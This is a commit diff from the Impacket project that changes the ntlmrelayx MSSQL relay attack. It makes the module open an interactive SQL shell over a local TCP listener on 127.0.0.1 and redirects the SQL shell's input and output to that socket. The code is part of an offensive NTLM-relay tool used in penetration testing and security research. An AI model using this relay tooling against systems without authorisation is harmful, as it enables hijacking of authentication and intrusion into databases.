* Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell (as in SMB an…

…d LDAP)
fortra · Sep 15, 2023 · a6c0ab0 · a6c0ab0
1 parent 6a3ecf7
commit a6c0ab0
Show file tree

Hide file tree

Showing 2 changed files with 32 additions and 7 deletions.
diff --git a/impacket/examples/mssqlshell.py b/impacket/examples/mssqlshell.py
@@ -19,11 +19,22 @@
 
 import os
 import cmd
+import sys
 
 
 class SQLSHELL(cmd.Cmd):
-    def __init__(self, SQL, show_queries=False):
-        cmd.Cmd.__init__(self)
+    def __init__(self, SQL, show_queries=False, tcpShell=None):
+        if tcpShell is not None:
+            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
+            sys.stdout = tcpShell.stdout
+            sys.stdin = tcpShell.stdin
+            sys.stderr = tcpShell.stdout
+            self.use_rawinput = False
+            self.shell = tcpShell
+        else:
+            cmd.Cmd.__init__(self)
+            self.shell = None
+
         self.sql = SQL
         self.show_queries = show_queries
         self.at = []
@@ -259,4 +270,6 @@ def emptyline(self):
         pass
 
     def do_exit(self, line):
-        return True
+        if self.shell is not None:
+            self.shell.close()
+        return True
diff --git a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py
@@ -18,22 +18,34 @@
 from impacket import LOG
 from impacket.examples.mssqlshell import SQLSHELL
 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
 
 PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
 
 class MSSQLAttack(ProtocolAttack):
     PLUGIN_NAMES = ["MSSQL"]
+    def __init__(self, config, MSSQLclient, username):
+        ProtocolAttack.__init__(self, config, MSSQLclient, username)
+        if self.config.interactive:
+            # Launch locally listening interactive shell.
+            self.tcp_shell = TcpShell()
+
     def run(self):
+        if self.config.interactive:
+            if self.tcp_shell is not None:
+                LOG.info('Started interactive MSSQL shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
+                # Start listening and launch interactive shell.
+                self.tcp_shell.listen()
+                mssql_shell = SQLSHELL(self.client, tcpShell=self.tcp_shell)
+                mssql_shell.cmdloop()
+                return
+
         if self.config.queries is not None:
             for query in self.config.queries:
                 LOG.info('Executing SQL: %s' % query)
                 self.client.sql_query(query)
                 self.client.printReplies()
                 self.client.printRows()
-        elif self.config.interactive is True:
-            shell = SQLSHELL(self.client)
-            shell.cmdloop()
-            return
         else:
             LOG.error('No SQL queries specified for MSSQL relay!')